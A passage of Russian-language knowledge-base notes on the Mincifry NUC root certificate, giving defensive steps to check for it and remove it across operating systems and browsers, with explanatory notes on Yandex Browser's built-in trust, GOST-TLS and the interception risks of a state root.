сертификата: корневой **Russian Trusted Root CA** и выпускающий **Russian Trusted Sub CA** — инструкции Госуслуг и Сбербанка ставят оба. - Самая быстрая проверка — открыть в своём обычном браузере сайт, работающий на сертификате НУЦ (например, `sberbank.ru`): предупреждение «подключение не защищено» означает, что корня у тебя **нет**. - Корень мог появиться не только по твоей воле: его ставят «по инструкции банка», при настройке чужими руками, в корпоративных машинах — проверка занимает минуту и ничего не ломает. - Удаление безопасно: единственное последствие — сайты с сертификатом НУЦ снова начнут показывать предупреждение. Как жить с этим без установки корня — в [[nuc/safe-usage|заметке об изоляции доверия]]. - В «Яндекс Браузере» и «Атоме» доверие НУЦ [[nuc/embedded-trust|встроено в сам браузер]] — из системы его не удалить, только не пользоваться этими браузерами для чувствительного. ## Что именно ищем Инструкции Госуслуг предлагают установить пару сертификатов: корневой с именем (CN) **Russian Trusted Root CA** — он попадает в хранилище «Доверенные корневые центры сертификации» — и выпускающий **Russian Trusted Sub CA**, который кладётся в «Промежуточные центры сертификации». Опасность несёт прежде всего корневой: именно он расширяет доверие на всё, что НУЦ когда-либо подпишет. По данным Госуслуг, корневой сертификат выпущен в марте 2022 года со сроком действия до 2032 года, так что «сам он истечёт» — не стратегия: ждать осталось долго. Проще говоря: открываешь список доверенных сертификатов своей системы и ищешь в нём слово «Russian». Нашёл «Russian Trusted…» — корень стоит. Не нашёл — стоит проверить остальные устройства и браузеры: хранилищ доверия на одном компьютере может быть несколько (система, Firefox, NSS-база в Linux), и корень может сидеть в любом из них. ## Быстрая проверка без настроек: тестовый сайт Открой в проверяемом браузере `https://www.sberbank.ru`. С 3 августа 2026 сайт Сбербанка работает на сертификате НУЦ — банк перешёл на него после [[nuc/banks-nuc-certs-august-2026|отзыва сертификатов китайским УЦ TrustAsia]], а установить «сертификаты Минцифры» сам же и предлагает на [странице sberbank.ru/certificates](https://www.sberbank.ru/ru/certificates). Если банк снова сменит сертификат, признак перестанет работать — при сомнении проверяй издателя вручную, как описано ниже. - Браузер показывает **предупреждение** «подключение не защищено» / «NET::ERR_CERT_AUTHORITY_INVALID» → корня НУЦ в этом браузере **нет**. Это хороший исход, закрывай вкладку. - Сайт открывается **без предупреждений** → либо в системе (или браузере) установлен корень НУЦ, либо это отечественный браузер со [[nuc/embedded-trust|встроенным доверием]]. Кто именно выдал сертификат, смотри по замочку в адресной строке: замочек → «Сведения о сертификате» → поле «Издатель» (Issuer). Там будет `Russian Trusted Sub CA`. Издателя сертификата любого сайта можно узнать и без браузера, из терминала — эта проверка не зависит от локального хранилища доверия: ```bash openssl s_client -connect www.sberbank.ru:443 -servername www.sberbank.ru /dev/null | openssl x509 -noout -issuer -subject -dates ``` ## Windows Хранилищ два — пользовательское и машинное, проверять стоит оба (инструкции Госуслуг обычно ставят в пользовательское): - [ ] `Win+R` → `certmgr.msc` (хранилище текущего пользователя) → «Доверенные корневые центры сертификации» → «Сертификаты» → искать **Russian Trusted Root CA**. - [ ] Там же раздел «Промежуточные центры сертификации» → «Сертификаты» → искать **Russian Trusted Sub CA**. - [ ] `Win+R` → `certlm.msc` (хранилище компьютера, нужны права администратора) → те же два раздела. - [ ] Удаление: правый клик по сертификату → «Удалить», подтвердить. После удаления перезапусти браузеры. Быстрее — одной командой PowerShell (ищет по всем хранилищам текущего пользователя и машины): ```powershell Get-ChildItem Cert:\ -Recurse | Where-Object { $_.Subject -like "*Russian Trusted*" } | Format-List PSParentPath, Subject, NotAfter ``` Пустой вывод — корня нет. Найденные записи удаляются в `certmgr.msc`/`certlm.msc` по пути из `PSParentPath` (или командой `Remove-Item` по тому же пути). > [!note] Chrome, Edge и системное хранилище > Chrome и Edge на Windows доверяют локально установленным корням из системного хранилища — то есть корень, поставленный «для Госуслуг», действует и на всё остальное, что ты открываешь в этих браузерах. Вручную добавленные корни при этом освобождены от проверки Certificate Transparency — почему это ключевая проблема, разобрано в [[nuc/nuc-root-mitm-threat-model#Почему обычные УЦ так не могут — и почему ручная установка это ломает|модели угроз]]. ## macOS - [ ] Открой «Связку ключей» (Keychain Access) → слева выбери «Система» (System), затем повтори для «Вход» (login) → категория «Сертификаты» → в поиске набери `Russian`. - [ ] Найденный **Russian Trusted Root CA** / **Russian Trusted Sub CA** — правый клик → «Удалить». Для системной связки понадобится пароль администратора. - [ ] Проверь и настройки доверия: если сертификат помечен «Этот сертификат отмечен как доверенный», значит доверие включали вручную при установке. Терминалом: ```bash security find-certificate -a -c "Russian Trusted" /Library/Keychains/System.keychain ~/Library/Keychains/login.keychain-db 2>/dev/null ``` ## Linux Хранилищ несколько, и браузеры пользуются разными: - [ ] Системное (его читают curl, wget, системные программы): `trust list | grep -i russian` (p11-kit, есть в большинстве дистрибутивов) или `grep -ril russian /etc/ssl/certs/ /usr/local/share/ca-certificates/ 2>/dev/null`. Удаление: убрать добавленный `.crt` из `/usr/local/share/ca-certificates/` и выполнить `sudo update-ca-certificates --fresh` (в Debian/Ubuntu; в RHEL-семействе — `/etc/pki/ca-trust/source/anchors/` и `sudo update-ca-trust`). - [ ] NSS-база пользователя (её читают Chrome/Chromium): `certutil -L -d sql:$HOME/.pki/nssdb | grep -i russian` (пакет `libnss3-tools`). Удаление: `certutil -D -d sql:$HOME/.pki/nssdb -n "<имя из списка>"`. - [ ] Firefox — своё хранилище, см. раздел про браузеры ниже. ## Android Путь по настройкам различается между прошивками, поэтому проще воспользоваться поиском по настройкам: набери «сертификат» и открой пункт вида «Надёжные сертификаты» / «Доверенные сертификаты» (обычно это Настройки → Безопасность → Шифрование и учётные данные → Надёжные сертификаты). - [ ] На вкладке **«Пользователь»** — сертификаты, установленные руками; ищи «Russian Trusted». Вкладку «Система» трогать не нужно: туда НУЦ штатно не попадает. - [ ] Удаление: открыть найденный сертификат → «Удалить», либо пункт «Удалить учётные данные» (удалит все пользовательские сертификаты разом). > [!note] Почему на Android риск устроен иначе > Начиная с Android 7, приложения по умолчанию доверяют только системным сертификатам и игнорируют установленные пользователем — банковские и прочие приложения корень НУЦ не увидят. Но браузеры (в частности Chrome) пользовательским корням доверяют, поэтому весь просмотр сайтов под перехват попадает. Подробнее о том, что перехват может и чего не может, — в [[nuc/nuc-root-mitm-threat-model|модели угроз]]. ## iOS / iPadOS На iPhone корень ставится через профиль конфигурации, и у него два выключателя: - [ ] Настройки → Основные → «VPN и управление устройством» — установленные профили. Профиль с сертификатами Минцифры/Госуслуг → «Удалить профиль». - [ ] Настройки → Основные → «Об этом устройстве» → «Доверие сертификатам» (Certificate Trust Settings) — здесь видно, включено ли «полное доверие» для установленных корней. Даже установленный профиль без этого переключателя полного доверия не даёт; если переключатель включён — выключи или удали профиль целиком. ## Браузеры со своим хранилищем - [ ] **Firefox** держит собственный список доверия, отдельный от системы: Настройки → «Приватность и защита» → «Сертификаты» → «Просмотр сертификатов» → вкладка «Центры сертификации» → искать «Russian». Удаление — кнопкой «Удалить или не доверять». Дополнительно проверь в `about:config` параметр `security.enterprise_roots.enabled`: значение `true` заставляет Firefox подтягивать корни из системного хранилища — тогда чистить нужно и систему. - [ ] **Chrome/Edge/Safari** своего пользовательского хранилища не ведут — они верят системному, поэтому для них достаточно проверок из разделов про Windows/macOS/Linux/Android выше (на Linux Chrome читает NSS-базу `~/.pki/nssdb`). - [ ] **«Яндекс Браузер» и «Атом»** доверяют НУЦ на уровне самого браузера — из настроек это доверие не удаляется. Что из этого следует и как этим пользоваться осознанно — в [[nuc/embedded-trust|отдельной заметке]]. ## После удаления Перезапусти браузеры и повтори быструю проверку тестовым сайтом: сайт на сертификате НУЦ должен снова показывать предупреждение. Это и есть нормальное состояние — браузер честно сообщает, что издателю он не доверяет. Если такой сайт нужен регулярно, не возвращай корень в систему: варианты изоляции (отдельный браузер под госсайты, отдельный профиль Firefox, точечное исключение) разобраны в [[nuc/safe-usage|соседней заметке]]. ## 📚 См. также - [[nuc/00-overview|Обзор раздела: сертификаты Минцифры (НУЦ)]] — что это и почему их вообще приходится искать у себя - [[nuc/safe-usage|Как пользоваться госсайтами без корня НУЦ в системе]] — что делать после удаления - [[nuc/nuc-root-mitm-threat-model|Модель угроз корня НУЦ]] — какие атаки открывает установленный корень - 🔗 [Госуслуги: российские сертификаты безопасности](https://www.gosuslugi.ru/crt) — официальные инструкции по установке (полезны как карта: куда именно инструкция кладёт сертификаты — там их и искать) --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/nuc/check-remove.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-08-04 tags: - mincifry - nuc - tls - certificates - browsers - yandex aliases: - Яндекс Браузер и сертификаты Минцифры - Где корень НУЦ встроен по умолчанию - Атом браузер НУЦ - Предустановка российских сертификатов link: https://www.gosuslugi.ru/crt --- # 📦 Где доверие НУЦ уже встроено: «Яндекс Браузер», «Атом» и предустановка > [!info] О чём заметка > Корень государственного НУЦ (Национального удостоверяющего центра Минцифры) не обязательно попадает на устройство через ручную установку — в отечественных браузерах доверие к нему встроено производителем. Здесь разобрано, как именно оно устроено в «Яндекс Браузере» и «Атоме», чем встроенное доверие отличается от корня в системном хранилище, при чём тут закон о предустановке российского ПО и как использовать эти браузеры осознанно. Что вообще такое сертификаты НУЦ и в чём их опасность — в [[nuc/00-overview|обзоре раздела]]. ## TL;DR - «Яндекс Браузер» и «Атом» (браузер VK) доверяют сертификатам НУЦ с марта 2022 года «из коробки» — на Госуслугах их рекомендуют именно поэтому. - Доверие встроено **в сам браузер**, а не в систему: остальные браузеры и программы устройства оно не затрагивает, а удалить его из настроек браузера нельзя. - По заявлению Яндекса времён запуска (март 2022), корень НУЦ в «Яндекс Браузере» применяется не ко всем сайтам подряд, а к списку доменов, которым выданы такие сертификаты, — это смягчает риск тотального перехвата, но список ведёт сам Яндекс, и проверить его со стороны сложно. - Встроенное доверие — удобный инструмент, если обращаться с ним как с [[nuc/safe-usage|изолированным «гос-браузером»]], и плохая идея в роли основного браузера для всей жизни. - Следующая ступень навязывания — предустановка: российское ПО обязательно ставится на продаваемые в РФ устройства с 2021 года, и сценарий «обязать предустанавливать сам корень НУЦ» обсуждается как реалистичный ([[nuc/mincifry-nuc-certs-danger-june-2026#Пять сценариев ответа российских властей|сценарий 3 в большой статье]]). ## Как это устроено в «Яндекс Браузере» и «Атоме» Когда в марте 2022 Минцифры начало выдавать сертификаты НУЦ, мировые браузеры корень не приняли — и «бесшовно» такие сайты заработали только там, где доверие добавили сами производители: в «Яндекс Браузере» и «Атоме» (браузер VK на базе Chromium). Именно эти два браузера Госуслуги с тех пор рекомендуют как альтернативу ручной установке корня. Технически это доверие живёт внутри браузера — в его собственном списке доверенных корней, а не в системном хранилище сертификатов. Отсюда два следствия. Хорошее: установка «Яндекс Браузера» не меняет доверие остальной системы — Chrome, Firefox и системные программы на том же компьютере корню НУЦ верить не начинают ([[nuc/check-remove|проверка хранилищ]] это подтвердит). Плохое: внутри самого браузера это доверие не выключается — пункта «не доверять Russian Trusted Root CA» в настройках нет, оно часть продукта. Важный смягчающий нюанс: по заявлению Яндекса на момент запуска поддержки (март 2022), «Яндекс Браузер» применяет корень НУЦ не к любому сайту, который предъявит сертификат от него, а только к доменам из специального списка — тем, кому национальные сертификаты реально выданы. Если это работает как заявлено, произвольный сайт (или перехватчик на канале) не сможет прикрыться сертификатом НУЦ для домена не из списка. Оговорки очевидны: список ведёт сам Яндекс, публичного аудита этого механизма нет, и как он эволюционировал к 2026 году — со стороны не проверить. Смягчение реально, но это доверие к вендору, а не криптографическая гарантия. Проще говоря: «Яндекс Браузер» — это устройство с уже вмонтированным государственным замком, но только на одной двери, и ключник обещает, что открывает её лишь по официальному списку. Верить обещанию или нет — решать пользователю; проверить его исполнение извне толком нельзя. ## Чем встроенное доверие отличается от корня в системе | Свойство | Корень НУЦ в системном хранилище | Встроенное доверие «Яндекс Браузера»/«Атома» | |---|---|---| | Зона действия | Весь HTTPS-трафик устройства (все браузеры без своего хранилища, системные программы, обновления ПО) | Только трафик внутри этого браузера | | Ограничение по доменам | Нет — корень удостоверяет любой домен | По заявлению вендора — список доменов с сертификатами НУЦ (непроверяемо извне) | | Можно ли удалить | Да, [[nuc/check-remove\|вручную из хранилища]] | Нет — только не пользоваться браузером | | Certificate Transparency | Ручной корень освобождён от проверки CT ([[nuc/nuc-root-mitm-threat-model#Почему обычные УЦ так не могут — и почему ручная установка это ломает\|почему это важно]]) | Контроль замкнут на вендора браузера | | Кому выдано доверие | Напрямую НУЦ | НУЦ + вендору браузера (Яндекс/VK), включая его список и его обновления | Вывод из таблицы: встроенное доверие **уже, но мутнее**. Оно не расползается на всю систему — и это делает отечественный браузер приемлемым инструментом для роли изолированного «гос-браузера» ([[nuc/safe-usage|как выстроить такую изоляцию]]). Но внутри браузера ты доверяешь сразу двум сторонам — государственному УЦ и вендору, который сам под российской юрисдикцией; держать в таком браузере почту, переписку и всю остальную жизнь не стоит. ## Предустановка: как доверие приходит без спроса С 2021 года в России действует закон об обязательной предустановке российского ПО на продаваемые смартфоны, планшеты и компьютеры; список ежегодно утверждается правительством, и «Яндекс Браузер» в нём стабильно присутствует, а с 2023 года на Android обязателен и магазин RuStore. То есть браузер со встроенным доверием НУЦ приезжает на новые устройства сам — покупателю остаётся только начать им пользоваться. Шаг, который обсуждается как следующий, — предустановка не браузера, а самого корня НУЦ в систему продаваемых устройств: тогда «бесшовными» станут все браузеры сразу, без участия пользователя. На август 2026 такой обязанности нет — это [[nuc/mincifry-nuc-certs-danger-june-2026#Пять сценариев ответа российских властей|сценарий, а не факт]], — но технически и юридически дорожка предустановкой ПО уже протоптана. Покупателю нового устройства российской розницы имеет смысл сразу [[nuc/check-remove|проверить хранилище сертификатов]]: и на предмет корня НУЦ, и на предмет корней, добавленных производителем или продавцом. > [!warning] Отдельная ловушка: «настроили в магазине» > Услуги «настроим смартфон при покупке» и техподдержка «по инструкции банка» — типичный путь, которым корень НУЦ попадает в систему без осознанного решения владельца. Если устройство настраивал кто-то другой, считай хранилище сертификатов непроверенным, пока не [[nuc/check-remove|посмотришь сам]]. ## 📚 См. также - [[nuc/00-overview|Обзор раздела: сертификаты Минцифры (НУЦ)]] — что это такое и почему мировые браузеры корень не приняли - [[nuc/safe-usage|Изоляция доверия]] — как использовать «Яндекс Браузер» в роли отдельного гос-браузера правильно - [[nuc/check-remove|Проверка и удаление корня НУЦ]] — аудит системы и браузеров, в том числе после покупки устройства - [[nuc/gost-tls|ГОСТ-TLS и КриптоПро]] — вторая «встроенная» технология тех же браузеров: поддержка ГОСТ-шифрования - 🔗 [Госуслуги: российские сертификаты безопасности](https://www.gosuslugi.ru/crt) — официальная рекомендация «Яндекс Браузера» и «Атома» как браузеров с поддержкой НУЦ --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/nuc/embedded-trust.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-08-04 tags: - mincifry - nuc - tls - certificates - gost - cryptography aliases: - ГОСТ-TLS что это - КриптоПро и сертификаты Минцифры - Кузнечик Магма Стрибог в HTTPS - Сертификат с шифрованием по ГОСТ link: https://digital.gov.ru/activity/kiberbezopasnost/sertifikaty-bezopasnosti --- # 🧬 ГОСТ-TLS и КриптоПро: чем «вариант с шифрованием по ГОСТ» глубже обычного корня НУЦ > [!info] О чём заметка > У НУЦ (Национального удостоверяющего центра Минцифры) есть два вида TLS-сертификатов: обычный — на международной криптографии, просто от не признанного мировыми браузерами корня, — и «вариант с шифрованием по ГОСТ» (по официальной странице Минцифры, доступен на Госуслугах с 2025 года). Здесь разобрано, что такое ГОСТ-TLS технически, почему обычный браузер его не открывает даже с установленным корнем, какое ПО для него требуется и почему это более глубокий уровень зависимости, чем сам по себе государственный корень. Общий контекст — в [[nuc/00-overview|обзоре раздела]]. ## TL;DR - Обычный сертификат НУЦ — та же криптография, что во всём мире (RSA/ECDSA, AES): проблема только в **доверии** к издателю. ГОСТ-сертификат меняет и саму **криптографию**: подпись ГОСТ Р 34.10-2012, хэш «Стрибог», шифры «Кузнечик»/«Магма». - Chrome и Firefox таких алгоритмов не знают в принципе: сайт с чисто ГОСТ-TLS у них не откроется **даже с установленным корнем НУЦ** — браузер и сервер не сойдутся в алгоритмах на рукопожатии. - Для ГОСТ-TLS нужен отечественный стек: криптопровайдер КриптоПро CSP (проприетарный, сертифицирован ФСБ) плюс браузер с его поддержкой — Chromium-Gost (сборка от КриптоПро) или «Яндекс Браузер» с установленным КриптоПро CSP. - К ГОСТ-алгоритмам есть публичные криптографические вопросы: в S-блоке «Кузнечика» и «Стрибога» найдена скрытая структура (работы Лео Перрена, 2016–2019), а ISO после этого не приняла эти алгоритмы в международные стандарты. - Итог: обычный корень НУЦ — «доверься нашему нотариусу»; ГОСТ-TLS — «пользуйся нашим нотариусом, нашими шифрами и нашим закрытым ПО». Это и есть строительный блок полностью автономного HTTPS для сценария изоляции рунета. ## Два вида сертификатов НУЦ — разница принципиальная Обычные сертификаты НУЦ, которые с марта 2022 раздают юрлицам через Госуслуги, устроены как любой западный TLS-сертификат: те же алгоритмы подписи и шифрования, тот же формат. Их единственное отличие — издатель, которому мировые браузеры не доверяют; отсюда вся история с [[nuc/check-remove|ручной установкой корня]] и её [[nuc/nuc-root-mitm-threat-model|рисками перехвата]]. ГОСТ-вариант — другая история. Это TLS, в котором заменена сама криптографическая начинка на российские государственные стандарты: подпись по ГОСТ Р 34.10-2012, хэш-функция «Стрибог» (ГОСТ Р 34.11-2012), симметричные шифры «Кузнечик» и «Магма» (ГОСТ Р 34.12-2015). Для TLS определены отдельные ГОСТ-шифронаборы (cipher suites), и сервер с таким сертификатом договаривается с клиентом именно о них. Проще говоря: обычный сертификат НУЦ — это привычный замок, на который у государства свой ключ-мастер; ГОСТ-TLS — это замок другой конструкции, к которому подходят только отечественные ключи и отечественные отмычки. ## Почему обычный браузер это не открывает — и при чём тут КриптоПро TLS-соединение начинается с рукопожатия: клиент присылает список поддерживаемых шифронаборов, сервер выбирает общий. У Chrome и Firefox ГОСТ-наборов в списке нет вообще — поэтому с сервером «только ГОСТ» соединение обрывается на первом же шаге, и установка корня НУЦ здесь ничего не меняет: корень решает вопрос доверия, а не набора алгоритмов. Чтобы ГОСТ-TLS заработал, в системе нужен криптопровайдер, реализующий ГОСТ-алгоритмы, — на практике это почти всегда **КриптоПро CSP**, проприетарный коммерческий продукт, сертифицированный ФСБ. Поверх него нужен браузер, умеющий отдавать TLS-рукопожатие этому провайдеру: **Chromium-Gost** — открытая сборка Chromium от самой КриптоПро — либо «Яндекс Браузер», который поддерживает ГОСТ-TLS при установленном КриптоПро CSP. Исторически ГОСТ-TLS живёт в ведомственном сегменте — личные кабинеты ФНС, госзакупки, электронная отчётность, — куда без этого стека просто не попасть. > [!note] «Открытый браузер» поверх закрытой криптографии > Исходники Chromium-Gost опубликованы, но криптографические операции выполняет не браузер, а КриптоПро CSP — закрытый код, проверяемый только государственным сертификационным процессом. Пользователь ГОСТ-TLS доверяет не открытому проекту, а связке «открытая обёртка + закрытое ядро». ## Вопросы к самим алгоритмам К «Кузнечику» и «Стрибогу» есть претензии не только политические. Оба стандарта используют один и тот же S-блок (таблицу подстановки) «Пи», происхождение которой разработчики объясняли случайным выбором. Французский криптограф Лео Перрен с соавторами показал (серия работ 2016–2019), что эта таблица обладает скрытой алгебраической структурой (так называемый TKlog), вероятность случайного возникновения которой ничтожна, — то есть S-блок был сгенерирован не так, как заявлялось. Наличие скрытой структуры — не доказанный бэкдор, но это ровно тот тип находки, после которого доверие к «случайным» константам рушится: на фоне этих работ ISO в начале 2020-х отклонила включение «Кузнечика» и «Стрибога» в международные стандарты. Российские регуляторы алгоритмы при этом не отозвали и продолжают требовать их в госсекторе. > [!warning] Что это значит практически > Пользуясь ГОСТ-TLS, ты работаешь с шифрами, у которых есть публично задокументированная необъяснённая структура в ключевом компоненте, с реализацией в закрытом коде и с доверием, замкнутым на национальный сертификационный процесс. Для отчётности юрлица в ФНС это неизбежная данность; переносить такой стек на личное устройство и личный трафик — уже добровольный выбор, и лучше делать его в [[nuc/safe-usage|изолированной среде]] (отдельная виртуалка или устройство), а не в основной системе — тем более что КриптоПро CSP встраивается в систему глубоко и удаляется хуже, чем [[nuc/check-remove|обычный корень]]. ## Зачем это государству: полный стек для автономного HTTPS Обычный корень НУЦ всё ещё зависит от мировой экосистемы: алгоритмы международные, реализации — OpenSSL и браузерные, совместимость с любым софтом. ГОСТ-TLS замыкает цепочку целиком внутри страны: свой УЦ, свои алгоритмы, свой сертифицированный криптопровайдер, свои браузеры. В сценарии жёсткой изоляции рунета (пятый сценарий в [[nuc/mincifry-nuc-certs-danger-june-2026#Пять сценариев ответа российских властей|большой статье о сертификатах Минцифры]]) именно такой стек позволяет строить «HTTPS без Запада» — и расширение ГОСТ-варианта с ведомственных систем на публичные сервисы было бы заметным маркером движения в эту сторону. На август 2026 обязательного ГОСТ-TLS для обычных публичных сайтов нет; это прогнозный ориентир, а не свершившийся факт. ## 📚 См. также - [[nuc/00-overview|Обзор раздела: сертификаты Минцифры (НУЦ)]] — что такое НУЦ и почему его корень не признан браузерами - [[nuc/embedded-trust|Где доверие НУЦ уже встроено]] — «Яндекс Браузер» как носитель и корня, и ГОСТ-поддержки - [[nuc/safe-usage|Изоляция доверия]] — как работать с гос-стеком, не отдавая ему основную систему - [[nuc/nuc-root-mitm-threat-model|Модель угроз корня НУЦ]] — риски перехвата, общие для обоих видов сертификатов - 🔗 [Минцифры: о сертификатах безопасности](https://digital.gov.ru/activity/kiberbezopasnost/sertifikaty-bezopasnosti) — официальная страница, включая ГОСТ-вариант - 🔗 [Chromium-Gost на GitHub](https://github.com/deemru/chromium-gost) — открытая сборка Chromium с поддержкой ГОСТ-TLS через КриптоПро CSP - 🔗 [Léo Perrin, «Partitions in the S-Box of Streebog and Kuznyechik»](https://eprint.iacr.org/2019/092) — работа о скрытой структуре S-блока (IACR ePrint 2019/092) --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/nuc/gost-tls.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-06-14 tags: - post - rkn - tls - certificates - nuc - splinternet - censorship aliases: - Почему сертификаты Минцифры опасны - Опасность корня НУЦ - Отзыв сертификата MAX GlobalSign - Сертификаты Минцифры НУЦ - Splinternet и сертификаты 2026 link: https://community.letsencrypt.org/t/why-issue-certificate-for-max-ru-forbidden-by-policy/248143 --- # 🔐 Почему сертификаты Минцифры (НУЦ) опасны — и почему отзыв сертификата хуже бана из App Store > [!info] Что это > Черновик публицистического поста о кризисе доверия TLS-сертификатов в России (весна–лето 2026): отзыв сертификата у мессенджера MAX, тупик с государственным удостоверяющим центром (НУЦ) и сценарии ответа властей вплоть до изоляции рунета. Конкретные свежие факты (даты по MAX, отзыв GlobalSign) опираются на открытые источники из раздела «См. также» и относятся к июню 2026 — проверяй по ссылкам. Политически острые оценки помечены отдельными дисклеймерами. > [!note] Обновление: август 2026 — сценарии начали сбываться > После написания статьи события пошли ровно по описанным ниже сценариям 2 («пересадить всех на свой центр») и 3 («зашить корень НУЦ в технику и браузеры»): 26 июня 2026 подписан закон № 210-ФЗ, закрепляющий за НУЦ роль издателя публичных TLS-сертификатов (нормы о полномочиях НУЦ вступают в силу с 1 сентября 2026), а по сообщениям СМИ (CNews, июль 2026) готовится реестр российских браузеров, разработчики которых будут обязаны встраивать сертификаты НУЦ. 3 августа 2026 «беговая дорожка» УЦ добежала до финала: китайский TrustAsia отозвал сертификаты у крупнейших банков, и семь из них — включая Сбербанк, ВТБ и Т-Банк — перешли на сертификаты НУЦ ([[nuc/banks-nuc-certs-august-2026|разбор события]]). Сводка текущего состояния и практические шаги — в [[nuc/00-overview|обзоре раздела «Сертификаты Минцифры (НУЦ)»]]. --- ## TL;DR 1. **Сертификат** — это цифровое удостоверение сайта от доверенного центра (УЦ). Отзови его — и браузер встречает посетителя красным предупреждением, хотя сайт жив. 2. Отзыв бьёт **дважды**: по бизнесу (потеря клиентов) и — что важнее — по пользователю, которого приучают жать «продолжить» вопреки предупреждению. На стёртой привычке замечать предупреждения играют мошенники. 3. Государственный удостоверяющий центр Минцифры — **НУЦ (Национальный удостоверяющий центр)**, чьи сертификаты официально называют «российскими сертификатами безопасности» / «сертификатами Минцифры», — так и не попал в списки доверия Apple, Google и Microsoft с 2022 года. Поэтому он работает «бесшовно» только в отечественных продуктах (вроде «Яндекс Браузера»), а в остальных корень приходится **ставить руками**. 4. **Установка корня НУЦ опасна сама по себе**: доверенный корневой сертификат может удостоверить *любой* сайт, а значит даёт технический рычаг для незаметного перехвата (MITM, man-in-the-middle — «человек посередине») твоего HTTPS у того, кто контролирует и корень, и каналы связи. 5. Разница 2022 → 2026: тогда оставалась лазейка (GlobalSign обслуживал россиян), теперь закрылась и она — GlobalSign начал **отзывать** сертификаты со ссылкой на правила CA/Browser Forum (по оценкам рынка — порядка 15–20 тыс. доменов). Бьёт это прежде всего по **подсанкционным** организациям; обычный бизнес пока может брать сертификаты у иностранных коммерческих УЦ. 6. Мировой рынок доверия во многом держится на **горстке бигтеха** (Apple, Google, Microsoft, Mozilla): уберут корень УЦ из браузеров — бизнесу УЦ конец (как случилось с Entrust в 2024–2025). 7. Главная опасность — не один мессенджер, а то, что (по версии ряда наблюдателей) **решение теперь принимают те, для кого обрыв с миром — приемлемая цена**. --- ## Что такое сертификат (на пальцах) > [!example] Простыми словами > Когда ты открываешь сайт банка, браузер должен убедиться, что это и правда банк, а не подделка. Подтверждает это **сертификат** — цифровое удостоверение от доверенного центра (УЦ). Замочек в адресной строке означает: связь зашифрована (по протоколу **TLS** — Transport Layer Security, на котором стоит HTTPS), собеседник проверен. Отзови сертификат — и замочек гаснет. Сайт никуда не девается, но браузер встречает посетителя красным предупреждением или вовсе не пускает дальше. --- ## Две беды отзыва сертификата Отзыв несёт не одну, а сразу две беды: - **Удар по бизнесу.** Банк, магазин или госпортал теряет доверие браузеров и часть клиентов — тех, кто не станет продираться сквозь страшный экран. - **Удар по пользователю** (и он значимее). Когда людей раз за разом приучают нажимать «продолжить» вопреки предупреждению, они перестают эти предупреждения замечать. А именно на этом играют мошенники: на фишинговом сайте честного замочка нет. Так стирают привычку, на которой во многом держится повседневная безопасность в сети. > [!important] Главная мысль > Отзыв сертификата — это не про один мессенджер и не про один банк. Это про **доверие как таковое**. Чем чаще людей учат нажимать «продолжить», тем беззащитнее они становятся — и тем больше работы у настоящих мошенников. --- ## Почему сам корень НУЦ опасен лично для тебя Государство предлагает «решение»: поставить корневой сертификат НУЦ на устройство, и тогда замочек снова загорится. Проблема в том, что **корневой сертификат в твоём хранилище доверия может удостоверить любой сайт**. > [!example] Что это значит на пальцах > Доверенный корень — это «нотариус», чьей подписи браузер верит без вопросов. Обычные публичные УЦ обязаны играть по строгим правилам (CA/Browser Forum, публичные Certificate Transparency-логи, аудит браузеров) — за подлог их исключают из доверия. Государственный УЦ под юрисдикцией, где его можно обязать законом, такому внешнему контролю не подчиняется. Установив его корень, ты выдаёшь «нотариусу» бланк с твоей подписью: он сможет выписать «настоящий» сертификат для `gosbank.ru`, `google.com` или любого другого домена — и браузер покажет зелёный замочек на подделке. Сложи это с тем, что весь трафик в стране уже проходит через операторское оборудование фильтрации ([[DPI/post-pochemu-legli-ru-sajty-iyun-2026|ТСПУ]]), и получаешь технический рычаг для **незаметного перехвата и расшифровки HTTPS** (man-in-the-middle): тот, кто контролирует и корень доверия, и канал, может встать между тобой и сайтом так, что замочек останется зелёным. > [!warning] Возможность ≠ доказанное злоупотребление > На дату этого поста (июнь 2026) нет публичных доказательств **массового** перехвата трафика через корень НУЦ. Опасность здесь **структурная**: ты расширяешь полное доверие на сторону, которую можно принудить законом и которая не проходит тот внешний аудит, что публичные УЦ. Практический вывод: не ставь корень НУЦ без острой необходимости; если он нужен для конкретного госсайта — понимай, что доверие распространяется на **весь** твой HTTPS-трафик, а не на один портал. Подробный разбор конкретных атак (перехват HTTPS, кража OTP, подмена обновлений ПО), почему ручная установка корня обходит Certificate Transparency, и документированные прецеденты (DigiNotar 2011, Казахстан 2019–2023) — в отдельной заметке: [[nuc/nuc-root-mitm-threat-model|Что технически возможно через корень НУЦ: модель угроз]]. Практическая сторона вынесена в раздел [[nuc/00-overview|«Сертификаты Минцифры (НУЦ)»]]: [[nuc/check-remove|как проверить, не стоит ли корень у тебя, и удалить его]], и [[nuc/safe-usage|как пользоваться госсайтами, не ставя корень в систему]]. --- ## Урок 2022 года Это уже было. Весной 2022-го западные центры отказались продлевать сертификаты подсанкционным компаниям. Под удар попали сайты Центробанка, ВТБ, Совкомбанка, Промсвязьбанка — посетители ненадолго увидели предупреждение «подключение не защищено». Выход нашли, но половинчатый: 10 марта 2022 Минцифры открыло на «Госуслугах» бесплатную выдачу отечественных TLS-сертификатов от НУЦ (бесплатно — **юрлицам, владельцам сайтов**; сам НУЦ в промышленной эксплуатации с 2021 года, а с 2025 на «Госуслугах» доступен и вариант с шифрованием по ГОСТ). Но корень НУЦ так и **не попал** в списки доверия Apple, Google и Microsoft (объяснение того периода — в [репосте в канале 